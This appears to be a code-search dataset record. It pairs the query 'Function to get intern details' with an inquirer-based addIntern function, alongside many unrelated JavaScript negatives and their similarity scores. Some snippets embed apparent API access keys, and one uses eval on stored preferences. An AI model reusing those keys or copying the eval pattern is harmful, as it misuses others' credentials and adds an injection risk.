summonerLeague[summoner.id]});\n }\n });\n}", "function getDetails(id, name, email) {\n console.log(\"id\", id);\n console.log(\"Name\", name);\n if (email != undefined) {\n console.log(\"email\", email);\n }\n}", "function getCompany()\n{\n if(!preferences.get())return;\n var preferencesAux = eval(\"(\" + preferences.get() + ')');\n var tagsAux = preferencesAux.enterprise;\n var t = \"\";\n for (var k = 0; k < tagsAux.length; k++) \n\tt += tagsAux[k];\n getQuoteEnterprise([companyNameSlot.get()], [t]);\n}", "function makeEngineerCard(engineer) {\n return `\n <div class=\"col-12 col-sm-4\">\n <div class=\"card border-primary mb-3\">\n <div class=\"card-header\">Engineer \n <i class=\"fas fa-glasses\"></i>\n </div>\n <div class=\"card-body text-primary\">\n <h5 class=\"card-title\">${engineer.name}</h5>\n <ul class=\"list-group\">\n <li class=\"list-group-item\">ID #: ${engineer.id}</li>\n <li class=\"list-group-item\">Email: ${engineer.email}</li>\n <li class=\"list-group-item\">GitHub ID: ${engineer.github}</li>\n </ul>\n </div>\n </div>\n </div>\n `;\n}", "function getExperts(res, mysql, context, complete) {\n\t\tvar sql = \"SELECT ExpertID, CONCAT(FirstName, ' ', LastName, ProfilePicture, ProfileEmail, \";\n\t\tsql += \"GithubLink, LinkedinLink, TwitterLink FROM Experts\"\n\t\tfunction setC(results) {\n\t\t\tcontext.expert = results;\n\t\t}\n\t\texecuteQuery(res, sql, 0, mysql, complete, setC);\n\t}", "function employeesDepartment() {\n connection.query(\"SELECT * FROM employeeTracker_db.department\",\n function (err, res) {\n if (err) throw err\n console.table(res)\n runSearch()\n }\n )\n}", "function viewDepatments() {\n var query = \"SELECT * FROM DEPARTMENTS\";\n con.query(query, function(err, res) {\n if (err) throw err;\n for (var i = 0; i < res.length; i++) {\n console.log(\"\\n\" + \"|| Name: \" + res[i].name + \"|| ID: \" + res[i].id);\n }\n runManager();\n });\n }", "queryAdminEngagements() {\n if (this.props.client) {\n this.props.client\n .query({\n fetchPolicy: \"network-only\",\n query: AdminEngagementsQuery\n })\n .then(response => {\n let engagements = response.data.getAdminEngagements;\n let surveys = this.pruneAdminEngagements(engagements);\n this.attemptSurveyEngagement(surveys);\n });\n }\n }", "async function showDealers(req, res) {\n if (req.user.user == 'admin') {\n const result = await DealerModel.find();\n if (result != null) {\n return res.status(200).json({ result, message: \"All Dealers Present..\" });\n }\n else {\n return res.status(200).json({ message: \"No Dealers..\" });\n }\n }\n else {\n return res.status(401).json({ message: \"Only Admin can see all Dealers. Sorry!\" });\n }\n}", "function addEngineer() {\n console.log(\"Adding engineer\");\n inquirer.prompt([\n {\n type: \"input\",\n name: \"engineerName\",\n message: \"What is the name of your engineer?\",\n validate: (name) => {\n if (name !== \"\") {\n return true;\n }\n return \"Please enter a valid name of at least one character.\";\n }\n },\n {\n type: \"input\",\n name: \"engineerId\",\n message: \"What is the ID of your engineer?\",\n validate: (input) => {\n if (input.match(/^[1-9]\\d*$/)) {\n return true;\n }\n return \"Please enter a valid number.\";\n }\n },\n {\n type: \"input\",\n name: \"engineerEmail\",\n message: \"What is the Email of your engineer?\",\n validate: (input) => {\n if (input.match(/\\S+@\\S+\\.\\S+/)) {\n return true;\n }\n return \"Please enter a valid email.\";\n }\n },\n {\n type: \"input\",\n name: \"github\",\n message: \"What is your engineer's github username??\",\n validate: (input) => {\n if (input !== \"\") {\n return true;\n }\n return \"Please enter a valid username of at least one character.\";\n }\n }\n ]).then(answers => {\n const engineer = new Engineer(answers.engineerName, answers.engineerId, answers.engineerEmail, answers.github);\n teamMembers.push(engineer);\n chooseMembers();\n render\n renderTeam();\n });\n }", "getRoomInfo() { return {}; }", "function viewEmpByDept() {\n const sql = `\n SELECT \n employee.id AS EmployeeID, \n CONCAT(employee.first_name, \" \", employee.last_name) AS EmployeeName, \n department.name AS Department \n FROM employee\n LEFT JOIN role \n ON employee.role_id = role.id \n LEFT JOIN department \n ON role.department_id = department.id\n ORDER BY employee.id;`\n db.query(sql, (err, response) => {\n if (err) {\n throw(err);\n return;\n }\n console.log(``);\n console.log(chalk.white.bold(`============================================================================================================`));\n console.log(` ` +chalk.white.bold(` Employee by Department `));\n console.log(chalk.white.bold(`============================================================================================================`));\n console.table(response);\n console.log(chalk.white.bold(`============================================================================================================`));\n });\n init();\n}", "function questionsToAskEngineer(type){\n inquirer.prompt([\n\n {\n message: 'What is your name?',\n name: 'name',\n type: 'input'\n },\n {\n message: 'Enter your ID?',\n name: 'id',\n type: 'input',\n },\n {\n message: 'What is you email?',\n name: 'email',\n type: 'input',\n },\n {\n message: 'What is your GitHub?',\n name: 'github',\n type: 'input',\n },\n ]\n ).then(response=>{\n switch(type){\n case \"Engineer\":\n let engineer = new Engineer(response.name, response.id, response.email, response.github, type)\n employees.push(engineer)\n newRole()\n break;\n }\n })\n}", "function getDisplayedTicketInfo() {\n // Returns an array of values, containing the ticket's custom ticket field information.\n return activeTicketSidebarClientInstance\n .get([\n `ticket.customField:custom_field_${appFieldIDs.area}`,\n `ticket.customField:custom_field_${appFieldIDs.feature}`,\n `ticket.customField:custom_field_${appFieldIDs.effort_rating}`,\n `ticket.customField:custom_field_${appFieldIDs.rating_user_id}`,\n `ticket.customField:custom_field_${appFieldIDs.rating_user_name}`,\n `ticket.customField:custom_field_${appFieldIDs.additional_info}`,\n `ticket.customField:custom_field_${appFieldIDs.updated_by_user_id}`,\n `ticket.customField:custom_field_${appFieldIDs.updated_by_user_name}`,\n 'ticket.id'\n ])\n .then((result) => {\n console.log('debug - Ticket Info:', result)\n return result\n })\n .catch((error) => {\n console.error('debug - ERROR getDisplayedTicketInfo:', error)\n })\n}", "function getNameForAnEasyRTCid(easyrtcID) {\n for (var i = 0; i < all_occupants_details.length; i++) {\n if (all_occupants_details[i].easyrtcid == easyrtcID) return all_occupants_details[i].name;\n }\n\n //own email id is not available in all_occupants_details...\n //so return own user_name in that case...\n if(selfEasyrtcid == easyrtcID)return user_name;\n\n //the email not found...\n return \"NONE\";\n}", "function getUser() {\n var userEmail = 'liz@example.com';\n var user = AdminDirectory.Users.get(userEmail);\n Logger.log('User data:\\n %s', JSON.stringify(user, null, 2));\n}", "async function findCampersByEmail(eml) {\n\ttry {\n\t\tconst response = await axios.get('http://localhost:3013/rest/camper/email/' + eml );\n\t\treturn response.data;\n\t}catch (err) {\n\t\tconsole.log(\"Can not connect to server.\");\n\t\tconsole.log(err);\n\t}\n}", "async viewHistory(ctx,drugName,serialNo){\n try{\n // Create a composite key for the company to get registered in ledger\n const drugID = ctx.stub.createCompositeKey('org.pharma-network.drug',[drugName,serialNo]);\n\n // ctach the iterator returned by the API\n let iterator = await ctx.stub.getHistoryForKey(drugID).catch(err => console.log(err));\n\n // fetch all the required results by passing it to getALLReuslts function\n let results = await this.getAllResults(iterator);\n\n // return the results back to the user\n return results;\n }\n catch(e){\n console.log(\" The error is \",e);\n }\n\n }", "function printHWTaker(body){\n const $ = cheerio.load(body);\n let winningTeam = getWinningTeamName($);\n\n console.log(\"The winning Team is \" + winningTeam);\n let obj = findBowlerDetails($,winningTeam);\n console.log(obj);\n \n}", "function appendEngineer() {\r\n inquirer.prompt([\r\n {\r\n type: \"input\",\r\n name: \"engineerName\",\r\n message: \"What is the name of the engineer?\",\r\n validate: answer => {\r\n if (answer !== \"\") {\r\n return true;\r\n }\r\n return \"There is a one character minimum requirement.\";\r\n }\r\n },\r\n {\r\n type: \"input\",\r\n name: \"engineerId\",\r\n message: \"What is the ID of the engineer?\",\r\n validate: answer => {\r\n const pass = answer.match(\r\n /^[1-9]\\d*$/\r\n );\r\n if (pass) {\r\n if (arrayID.includes(answer)) {\r\n return \"This ID is unavailable. Please make another number entry.\";\r\n } else {\r\n return true;\r\n }\r\n\r\n }\r\n return \"There is a positive number minimum requirement.\";\r\n }\r\n },\r\n {\r\n type: \"input\",\r\n name: \"engineerEmail\",\r\n message: \"What is the email of the engineer?\",\r\n validate: answer => {\r\n const pass = answer.match(\r\n /\\S+@\\S+\\.\\S+/\r\n );\r\n if (pass) {\r\n return true;\r\n }\r\n return \"A valid email address is required.\";\r\n }\r\n },\r\n {\r\n type: \"input\",\r\n name: \"engineerGithub\",\r\n message: \"What is the GitHub username of the engineer?\",\r\n validate: answer => {\r\n if (answer !== \"\") {\r\n return true;\r\n }\r\n return \"There is a one character minimum requirement.\";\r\n }\r\n }\r\n ]).then(answers => {\r\n // This takes the answers from the user and puts them into an array. \r\n const engineer = new Engineer(answers.engineerName, answers.engineerId, answers.engineerEmail, answers.engineerGithub);\r\n teamPersonnel.push(engineer);\r\n arrayID.push(answers.engineerId);\r\n GenerateTeam();\r\n });\r\n }", "function getInfo (name) {\n\tconsole.log(name);\n\tconst playerId = name.accountId;\n\tconsole.log(`Account ID: ${playerId}`);\n\tconst playerName = name.name;\n\tconsole.log(`Player name: ${playerName}`);\n\tconst summonerLevel = name.summonerLevel;\n\tconsole.log(`Player Level: ${summonerLevel}`);\n\tconst profileIcon = name.profileIconId;\n\tconsole.log(`Icon number: ${profileIcon}`);\n\trenderName(playerName, summonerLevel, profileIcon);\n\t$('.matches').html(`<h2>${playerName}'s last 3 matches`);\n\tgetRecentMatches(playerId, getMatchList);\n}", "function getTicketData(domain){\n client.data.get('ticket').then(\n function (data)\n {\n var ticket_user_id = data.ticket.requester_id;\n request(domain, ticket_user_id);\n },\n function (error) {\n alert(error.status + \": \" + error.response + \", Please reach out to IT team\");\n }\n );\n }", "getInfo(){ // no need to use the keyword \"function\", it can be declared \n return {name: this.name, email: this.email}; // like this in a \"class\" and will work absolutely fine \n }", "function loadTeachers() {\n fetch(sheetUrl)\n .then(function(response) {\n return response.json();\n })\n .then(function(json) {\n console.log(\"Teachers: \");\n console.log(json);\n teachers = json.feed.entry;\n appendTeachers(json.feed.entry);\n });\n}" ]
[ "0.7533483", "0.74580306", "0.6135889", "0.58997947", "0.58855414", "0.5867523", "0.5846611", "0.5819509", "0.58088803", "0.5787087", "0.57844514", "0.5714268", "0.56727093", "0.56553334", "0.5637051", "0.55582964", "0.5557504", "0.554433", "0.5505897", "0.5480568", "0.54755914", "0.5466381", "0.54570735", "0.5439979", "0.5435671", "0.5435463", "0.5412363", "0.5407632", "0.53866565", "0.53847694", "0.53647536", "0.53512055", "0.5341549", "0.5325263", "0.53072566", "0.5300195", "0.5292582", "0.5277097", "0.52689695", "0.5253545", "0.5248989", "0.5245005", "0.5222614", "0.5221344", "0.52126193", "0.5205287", "0.5197319", "0.51964134", "0.51902336", "0.51809263", "0.5176171", "0.5174349", "0.5173869", "0.51666147", "0.5162269", "0.5137463", "0.5119499", "0.5117821", "0.5109126", "0.5097103", "0.50961584", "0.5092343", "0.5077525", "0.5074934", "0.5071346", "0.5065439", "0.50652117", "0.5060251", "0.50592905", "0.50502074", "0.5049483", "0.5044327", "0.5027317", "0.5024717", "0.5019392", "0.5012917", "0.5012787", "0.50115114", "0.5011398", "0.5009738", "0.5007992", "0.5001917", "0.49974158", "0.49944782", "0.49918652", "0.49869886", "0.4979583", "0.49781007", "0.49775705", "0.4976527", "0.4967989", "0.49613503", "0.49569872", "0.49558264", "0.49551812", "0.49539292", "0.49530083", "0.49435553", "0.4939495", "0.49372277", "0.49362645" ]
0.0
-1
Function to get intern details
function addIntern() { inquirer .prompt([ { type: 'input', name: 'name', message: 'What is your interns name?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your interns name!'); return false; } } }, { type: 'number', name: 'id', message: 'What is your interns ID number?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your interns ID number!'); return false; } } }, { type: 'input', name: 'email', message: 'What is your interns email?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your managers email!'); return false; } } }, { type: 'input', name: 'school', message: 'What is your interns school?', validate: answer => { if (answer) { return true; } else { console.log('Please enter your interns school!'); return false; } } }, ]).then(data => { const name = data.name; const id = data.id; const email = data.email; const school = data.school; const intern = new Intern(name, id, email, school) teamArr.push(intern); teamMembers() }) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function InternInfo() {\n inquirer.prompt(internQues).then(function (data) {\n const intern = new Intern(data.name, employeeID, data.email, data.school);\n employeeID++;\n employeeList.push(intern);\n checkEmployeeType(data.type);\n });\n}", "function internInfo() {\n inquirer.prompt(internQuestions).then((response) => {\n const newInt = new Intern(\n response.name,\n response.id,\n response.email,\n response.school\n );\n employees.push(newInt);\n employeeSelect();\n });\n}", "function getInterns(){\n\tif(!(localStorage.getItem('interns') === null)){\n\t\treturn JSON.parse(localStorage.getItem('interns'));\n\t}else{\n\t\treturn false;\n\t}\n}", "function getInfo(){\t\t\n\treturn cachedInfo;\n}", "async function getIdentityInfo(network, mnemonic, _appGaiaHub, _profileGaiaHub) {\n network.setCoerceMainnetAddress(true); // for lookups in regtest\n let identities;\n try {\n // load up all of our identity addresses and profile URLs\n identities = await loadNamedIdentities(network, mnemonic);\n const nameInfoPromises = identities.map(id => {\n const lookup = utils_1.nameLookup(network, id.name, true).catch(() => null);\n return lookup;\n });\n let nameDatas = await Promise.all(nameInfoPromises);\n network.setCoerceMainnetAddress(false);\n nameDatas = nameDatas.filter((p) => p !== null && p !== undefined);\n for (let i = 0; i < nameDatas.length; i++) {\n if (nameDatas[i].hasOwnProperty('error') && nameDatas[i].error) {\n // no data for this name \n identities[i].profileUrl = '';\n }\n else {\n identities[i].profileUrl = nameDatas[i].profileUrl;\n identities[i].profile = nameDatas[i].profile;\n }\n }\n const nextIndex = identities.length + 1;\n // ignore identities with no data\n identities = identities.filter((id) => !!id.profileUrl);\n // add in the next non-named identity\n identities.push(await loadUnnamedIdentity(network, mnemonic, nextIndex));\n }\n catch (e) {\n network.setCoerceMainnetAddress(false);\n throw e;\n }\n return identities;\n}", "function getDetails() {\n\n}", "function getInfoMN(PrecinctID) {\n var myData = precinctData[PrecinctID];\n var toReturn = '';\n var statNames = Object.keys(stateSyntax);\n // console.log(statNames);\n // console.log(myData);\n for (var i = 0; i < statNames.length; i++) {\n var statName = statNames[i];\n toReturn += \"<br>\";\n toReturn += \"<b>\" + statName + \"</b>: \";\n toReturn += myData[stateSyntax[statName]];\n }\n toReturn += \"<br><b>District</b>: \" + precinctDistricts[myData[stateSyntax[precinctID_NAME]]];\n return toReturn;\n}", "function getInfo() {\n return '%s-%s';\n}", "function getStationInfo() {\n return fetch('https://gbfs.citibikenyc.com/gbfs/en/station_information.json').then(res => res.json());\n // const res = fetch('https://gbfs.citibikenyc.com/gbfs/en/station_information.json');\n // return res.json();\n}", "function generateNetworkInfo() {\r\n \"use strict\";\r\n return {\r\n name: StringUtilities.randomAlphaString(16),\r\n forWho: StringUtilities.randomAlphaString(16)\r\n };\r\n}", "function getPinInfo(){\t\t\n\treturn cachedPinInfo;\n}", "getCurrentInternship(internshipID){\n const internship = this.state.InternshipData.find(internship=> internship.id === internshipID);\n return internship;\n }", "function getNodeInformation() {\r\n _doGet('/node/info');\r\n }", "function getLocationData() {\n const url = 'https://ipinfo.io/json?token=08f12254167956';\n return fetch(url).then((result) => result.json());\n}", "function details(s) {\n var r = {}; // results\n if (s === undefined) { return; }\n $.each(s, function(k, v) {\n if (v.client === undefined) { return; }\n var key = v.client + '$' + v.platform + v.os + v.devicemanufacturer + v.devicemodel;\n if (r[key] === undefined) {\n r[key] = {\n client: v.client,\n ip: v.clientIP,\n platform: v.platform,\n os: v.os,\n devicetype: v.devicetype,\n devicemanufacturer: v.devicemanufacturer,\n devicemodel: v.devicemodel,\n browsers: [] // list of browser connections for each machine/device\n };\n }\n r[key].browsers.push({\n vendor: v.vendor,\n browser: v.browser,\n time: v.time,\n agent: v.agent\n });\n });\n return r;\n }", "function getInfo() {\n let tmp = document.getElementById('OpenAirIRnames');\n if (tmp === undefined) {\n return;\n }\n\n const ind = tmp.selectedIndex;\n\n tmp = document.getElementById('tainfo');\n if (tmp === undefined) {\n return;\n }\n let infobj = {};\n\n // ADJUST FOR LIVE TEST: OFF/MIC\n if (ind === 0) {\n infobj.mode = 'OFF';\n } else if (ind === 1) {\n infobj.mode = 'MIC';\n } else {\n infobj = myArr[ind - 2];\n }\n\n const infotxt = formInfo(infobj); // get text from obj\n tmp.innerText = infotxt;\n }", "function getPlaceDetails() {\n marker = this;\n placesSrv.getDetails(\n {reference: marker.place.reference},\n function(place, status) {\n if (status != google.maps.places.PlacesServiceStatus.OK) {\n console.log(\"blääh\");\n return;\n }\n buildPlaceInfo(place);\n infocard.setHeader(place.name);\n infocard.replaceContents(searchResults);\n infocard.resize(300, 350)\n infocard.open();\n });\n}", "function CSvrInfo()\n{\n\t//Use to Get Info From Server ////////////////\n\tthis.SvrCert = \"\";\n\tthis.SvrSignData = \"\";\n\tthis.SvrOriData = \"\";\n\n\tthis.UniqueID = \"\";\n\n}", "fetchUserInfo() {\n return this.callGetAuthString();\n }", "function getInfo() {\n return new Promise((resolve, reject) => {\n var response;\n multichain.getInfo({\n\n },\n (err, res) => {\n console.log(res)\n if (err == null) {\n return resolve({\n response: res,\n message: \"Blockchain Information\"\n });\n } else {\n console.log(err)\n return reject({\n status: 500,\n message: 'Internal Server Error !'\n });\n }\n }\n )\n\n })\n}", "info() { }", "fetchInfo (cb) {\n this.client.INFO((err, result) => {\n if (err) return cb(err)\n try {\n let info = redisInfo.parse(result)\n return cb(null, info)\n } catch (e) {\n return cb(e)\n }\n })\n }", "async accessInfo(){\n return this.get(\"access-info\", null);\n }", "getInfo() {\n return this.info;\n }", "_getClientDetails() {\n // parse search parameters in URL\n let query = location.search.substr(location.search.indexOf(\"?\") + 1).split(\"&\"),\n queries = {};\n\n for (let i = 0; i < query.length; i++) {\n queries[query[i].substr(0, query[i].indexOf(\"=\"))] = query[i].substr(query[i].indexOf(\"=\") + 1);\n }\n\n this.playerName = queries.name || \"p\" + Date.now();\n this.hostName = queries.join;\n }", "getPublicInfo() {\n return {\n id: this.getID(),\n name: this.getName(),\n type: this.getType(),\n providers: Object.keys( this.getProviders()).map( k => ({\n id: k,\n currencies: this.getProviders()[k].getCurrencies(),\n supportsMarketplace: this.getProviders()[k].supportsMarketplace(),\n supportsDirect: this.getProviders()[k].supportsDirect(),\n })),\n };\n }", "function getData(){\n fetch(url)\n .then(function(response) {\n return response.json();\n })\n .then(function(myJSON) {\n var spaceObj = JSON.stringify(myJson.near_earth_objects);\n id = myJSON.near_earth_objects.id;\n name = myJSON.near_earth_objects.name;\n console.log(name);\n\n });\n \n }", "function getCurrentIP_mi () { return fetch('https://api.myip.com').then(res => res.json().then ( js => js.ip ) ) }", "function getInfo() { return document.getElementById('info') }", "function getMasterInfo()\n{\n\tvar request = {\"Cmd\" : \"info\"};\n\n\tclearAllWbdTimers(TIMER_MASTERINFO);\n\tgetMasterInfoFromServer(request);\n\tg_wbdMasterInfoTimeout.push(setTimeout(function(){ getMasterInfo(); }, g_wbdTimeOutVal));\n}", "get info() {\n return this._data.info;\n }", "get info() {\n return this._data.info;\n }", "function getServerInfo() {\n\n\t//Server Info\n\tsteamServerStatus.getServerStatus(\n\t\t'ark.josh.care', 27015, function(serverInfo) {\n\t\t\tif (serverInfo.error) {\n\t\t\t\tconsole.log(serverInfo.error);\n\t\t\t\tarkInfo.josh.status = \"down\";\n\t\t\t} else {\n\t\t\t\tarkInfo.josh = serverInfo;\n\t\t\t\tarkInfo.josh.status = \"up\";\n \n //Player Info\n var sq = new SourceQuery(1000);\n sq.open('ark.josh.care', 27015);\n sq.getPlayers(function(err, players){\n if(err) {\n console.log(err);\n } else {\n //setup players to be array\n arkInfo.josh.players = [];\n players.forEach(function(player){\n arkInfo.josh.players.push(player.name);\n });\n }\n });\n \n\t\t\t}\n\t});\n\t\n}", "getStateShort(obj) {\n return obj.results[0].address_components[4].short_name;\n }", "function getMinerInfo(response, network) {\n // Select correct network to display\n switch(network) {\n case \"Mainnet\":\n window.open('https://etherscan.io/address/' + response.data.miner);\n break;\n case \"Ropsten\":\n window.open('https://ropsten.etherscan.io/address/' + response.data.miner);\n break;\n case \"Kovan\":\n window.open('https://kovan.etherscan.io/address/' + response.data.miner);\n break;\n case \"Rinkeby\":\n window.open('https://rinkeby.etherscan.io/address/' + response.data.miner);\n break;\n case \"Goerli\":\n window.open('https://goerli.etherscan.io/address/' + response.data.miner);\n break;\n }\n \n }", "function getResInfo(callback) {\n var $resName = $('div.profile-header-meta h1').text();\n var $resLoc = $('div.content-block-map-info div').text();\n\n callback($resName, $resLoc);\n}", "function getUserInfo() {\n\n var contract = {\n \"function\": \"sm_getUserInfo\",\n \"args\": JSON.stringify([gUserAddress])\n }\n\n return neb.api.call(getAddressForQueries(), gdAppContractAddress, gNasValue, gNonce, gGasPrice, gGasLimit, contract);\n\n}", "function getIPinfo(){\n fetch('https://ipinfo.io?token=a42a1e24fd11a1')\n .then(res => res.json())\n .then(data => ip = data)\n .catch(function(error){\n console.log(error)\n alert(error)\n })\n}", "async getLocation() {\r\n const locationResp = await fetch('https://extreme-ip-lookup.com/json/?key=Yw6V3K7FoTxqx9uE9gf3');\r\n const location = await locationResp.json();\r\n\r\n return {\r\n location\r\n };\r\n }", "function getInfo(md5) {\n return getCache()[md5];\n}", "async getSystemInformation(EXPORT_VERSION) { \n \n const sqlStatement = 'SELECT CURRENT_WAREHOUSE() WAREHOUSE, CURRENT_DATABASE() DATABASE_NAME, CURRENT_SCHEMA() SCHEMA, CURRENT_ACCOUNT() ACCOUNT, CURRENT_VERSION() DATABASE_VERSION, CURRENT_CLIENT() CLIENT';\n \n const results = await this.executeSQL(sqlStatement,[]);\n \n const sysInfo = results[0];\n\n return {\n date : new Date().toISOString()\n ,timeZoneOffset : new Date().getTimezoneOffset() \n //,sessionTimeZone : sysInfo.SESSION_TIME_ZONE\n ,vendor : this.DATABASE_VENDOR\n ,spatialFormat : this.SPATIAL_FORMAT\n ,schema : this.parameters.OWNER\n ,exportVersion : EXPORT_VERSION\n\t //,sessionUser : sysInfo.SESSION_USER\n\t //,currentUser : sysInfo.CURRENT_USER\n ,warehouse : sysInfo.WAREHOUSE\n ,dbName : sysInfo.DATABASE_NAME\n ,databaseVersion : sysInfo.DATABASE_VERSION\n ,client : sysInfo.CLIENT\n ,softwareVendor : this.SOFTWARE_VENDOR\n ,account : sysInfo.ACCOUNT\n //,nodeClient : {}} \n } \n }", "function getInfo() {\n alert(\n \"Start adding new places by clicking on the map. Please don't give the same title for multiple places.\" +\n \" You can update information on existing place or remove the place from the map.\" +\n \" You can also search from added places by the title. Please use the whole title when searching.\"\n );\n}", "function GetMiningInfo() {\n return { method: 'getmininginfo' };\n}", "async getCompanyInfo() {\n //change to calling the company contract created by the owner\n //need a way to call company ID using the owner's connected address\n //should likely be added as a method to the registry\n // let coId = await payrollContract.methods.getCompanyId(this.state.account).call({from: this.state.account});\n this.getEmployeeArray(); \n this.getCompanyBalances();\n }", "getNodeInformation() {\n return this.query('/', 'GET');\n }", "function gatherInfo() {\n const pageContent = dom.$('#pageContent');\n const name = dom.$('.contest-name', pageContent).innerText;\n const id = +/\\/contest\\/(\\d+)\\//.exec(location.href)[1]; // just finds the /contest/{ID} and converts to a number\n const div = +(/Div\\. (\\d)/i.exec(name) || [])[1];\n const twinID = div == 1 ? (id + 1) : (id - 1);\n return { pageContent, name, id, div, twinID };\n}", "function NetInfo() {\n Pusher.EventsDispatcher.call(this);\n\n var self = this;\n // This is okay, as IE doesn't support this stuff anyway.\n if (window.addEventListener !== undefined) {\n window.addEventListener(\"online\", function() {\n self.emit('online');\n }, false);\n window.addEventListener(\"offline\", function() {\n self.emit('offline');\n }, false);\n }\n }", "function getAccountDetails() {\n\tvar baseUrl = getClientStore().baseURL; \n\tvar accessor = objCommon.initializeAccessor(baseUrl, cellName);\n\tvar objAccountManager = new _pc.AccountManager(accessor);\n\tvar count = retrieveAccountRecordCount();\n\tvar uri = objAccountManager.getUrl();\n\turi = uri + \"?$orderby=__updated desc &$top=\" + count;\n\tvar restAdapter = _pc.RestAdapterFactory.create(accessor);\n\tvar response = restAdapter.get(uri, \"application/json\");\n\tvar json = response.bodyAsJson().d.results;\n\treturn json;\n}", "function getRegisteredMachineDetails(machineID){\n\treturn Maintenance.deployed().getMachineDetails().call(machineID).then(\n\t\t\tfunction(result){\n\t\t\t\tconsole.log('result--->'+result);\n\t\t\t\t$('#cf_machineID').html(machineID);\n\t\t\t\t$('#cf_machineName').html(result[0]);\n\t\t\t\t$('#cf_purchaseDate').html(result[1].toNumber());\n\t\t\t\t$('#cf_owner').html(result[2]);\n\t\t\t\t$('#cf_manufacturer').html(result[3]);\n\t\t\t}\n\n\t);\n}", "function getDetails(obj) {\n alert(obj.getInfo());\n}", "getDesc( addr ){\n\t\treturn this.ROMRefs.IndexToName.has( addr ) ?\n\t\t\t\tthis.ROMRefs.IndexToName.get( addr )[0] :\n\t\t\t\tAddress.toBankString( addr, 'rom' );\n\t}", "getInfo() {\n let rv = {};\n let raw = this.getRawInfo();\n for (const key of Object.keys(raw)) {\n rv[key] = this.textDecoder.decode(raw[key]);\n }\n return rv;\n }", "toString() {\n return \"Workstation >\" + this.name + \"< at >\" + this.host + \"<\";\n }", "displayInfo() {\n\t\t\tlet info = super.displayInfo() + ', менеджер: ' + this.manager.name ;\n\t\t\tconsole.log( info );\n\t\t\treturn info\n\t\t\t}", "async function getContractInfo(Id) {\n let getContract;\n try {\n //getContract = await asyncContractCall(contractInstance.methods, 'get', 'call' ,Id);\n getContract = await asyncContractCall(contractInstance.methods, 'get', 'call');\n }\n catch(err) {\n console.error(`error getting contract Info from blockchain: ${err.message}, Id:${Id}`);\n throw err;\n }\n\n let res = getContract.result;\n\n res = {\n Id: res[0],\n Name: res[1],\n };\n\n return res;\n}", "async getDeviceDetails() {\n return this.digestClient\n .fetch(\n `http://${this.dahua_host}/cgi-bin/magicBox.cgi?action=getSystemInfo`\n )\n .then((r) => r.text())\n .then((text) => {\n const deviceDetails = text\n .trim()\n .split('\\n')\n .reduce((obj, str) => {\n const [key, val] = str.split('=');\n obj[key] = val.trim();\n return obj;\n }, {});\n return deviceDetails;\n });\n }", "getStateLong(obj) {\n return obj.results[0].address_components[4].long_name;\n }", "function readSBNnetworkInfo(member) {\n\n if (Array.isArray(globalSBNnetworkInfo)) { // the array is already read\n return `\n ${displayArticles(member)} \n `;\n } else {\n // First call. Read it from server\n var client = new CKAN.Client(ckanServer, myAPIkey);\n\n client.action('datastore_search', { resource_id: SBNnetworkInfo_resource_id },\n function (err, result) {\n if (err != null) { //some error - try figure out what\n \n mylog(mylogdiv, \"SBNnetworkInfo_resource_id:\" + SBNnetworkInfo_resource_id + \" ERROR: \" + JSON.stringify(err));\n console.log(\"SBNnetworkInfo_resource_id:\" + SBNnetworkInfo_resource_id + \" ERROR: \" + JSON.stringify(err));\n } else // we have read the resource \n {\n globalSBNnetworkInfo = result.result.records;\n document.getElementById(\"SBNnetworkInfo_resource_id\").innerHTML = `\n ${displayArticles(member)} \n `;\n }\n\n });\n\n }\n}", "function getConatinerDetails(containernumber,whLocation)\n{\n\tvar filters = new Array();\t\n\t//filters.push(new nlobjSearchFilter('custrecord_ad_sf_ld_closed', null, 'is', 'F'));\n\tif(containernumber!=null && containernumber!='' && containernumber!='null' && containernumber!='undefined')\n\t\tfilters.push(new nlobjSearchFilter('custrecord_wmsse_appointmenttrailer', null, 'is', containernumber));\n\tif(whLocation!=null && whLocation!='' && whLocation!='null' && whLocation!='undefined')\n\t\tfilters.push(new nlobjSearchFilter('custrecord_wmsse_sitetrailer', null, 'anyof', ['@NONE@',whLocation]));\n\t\n\tfilters.push(new nlobjSearchFilter('isinactive', null, 'is', 'F'));\n\t\n\t/*var vcolumns = new Array();\n\t\tvcolumns.push(new nlobjSearchColumn('custrecord_wmsse_trlnumber',null,'group'));*/\t\n\t\n\tvar ContainerDetails = new nlapiSearchRecord('customrecord_wmsse_trailer',null, filters, null);\n\treturn ContainerDetails;\n}", "function extractInformation() {\n var s = new stream.Transform({objectMode: true});\n\n s.cache = {};\n\n s._transform = function _transform(input, encoding, done) {\n var matches = Buffer(input, encoding).toString().match(/([0-9A-F:]+)\\s+([0-9\\-]+)\\s+([0-9\\-]+)\\s+([0-9\\-]+)\\s+(\\d+)\\s+(\\d+)\\s+(\\d+)\\s+(.+?)\\s+(WPA.+?)\\s+(.+?)\\s+(.+?)\\s+/);\n\n if (matches) {\n var d = {\n bssid: matches[1],\n power: parseInt(matches[2], 10),\n rxq: parseInt(matches[3], 10),\n beacons: parseInt(matches[4], 10),\n data: parseInt(matches[5], 10),\n channel: parseInt(matches[7], 10),\n speed: parseInt(matches[8], 10),\n encryption: matches[9],\n cipher: matches[10],\n auth: matches[11],\n };\n\n if (!this.cache[d.bssid] || d.beacons !== this.cache[d.bssid].beacons || d.data !== this.cache[d.bssid].data) {\n this.push(d);\n }\n\n this.cache[d.bssid] = d;\n }\n\n return done();\n };\n\n return s;\n}", "function test () {\n return perfGetEntriesByName.getEntriesByName()\n }", "getRole() {\n return \"Intern\"\n }", "getRole() {\n return \"Intern\"\n }", "getEmployeeClientInfo() {\n\n }", "function loadInfo() {\n $.ajax({\n dataType: 'json',\n type: 'GET',\n async: true,\n url: sewi.constants.ENCOUNTER_BASE_URL + this.encounterId + sewi.constants.BEI_BASIC_INFO_URL_SUFFIX,\n })\n .done(processInfo.bind(this))\n .error(loadInfoErrorHandler.bind(this));\n }", "function getStratumInfo() {\n var request = $http({\n method: \"GET\",\n async: true,\n cache: false,\n url: $rootScope.URL.getDesignStratumInfoUrl\n });\n return (request.then(handleSuccess, handleError));\n }", "function Info() {\n return $resource(resourceUrl, null);\n }", "async function getInformation(ip) {\n var urlForInformation = url + ip + \"?access_key=74ce8e19f02f4125d2d29f45482d18e9\";\n const response = await axios.get(urlForInformation);\n if(response.type === null){\n throw new Error('Unable to find 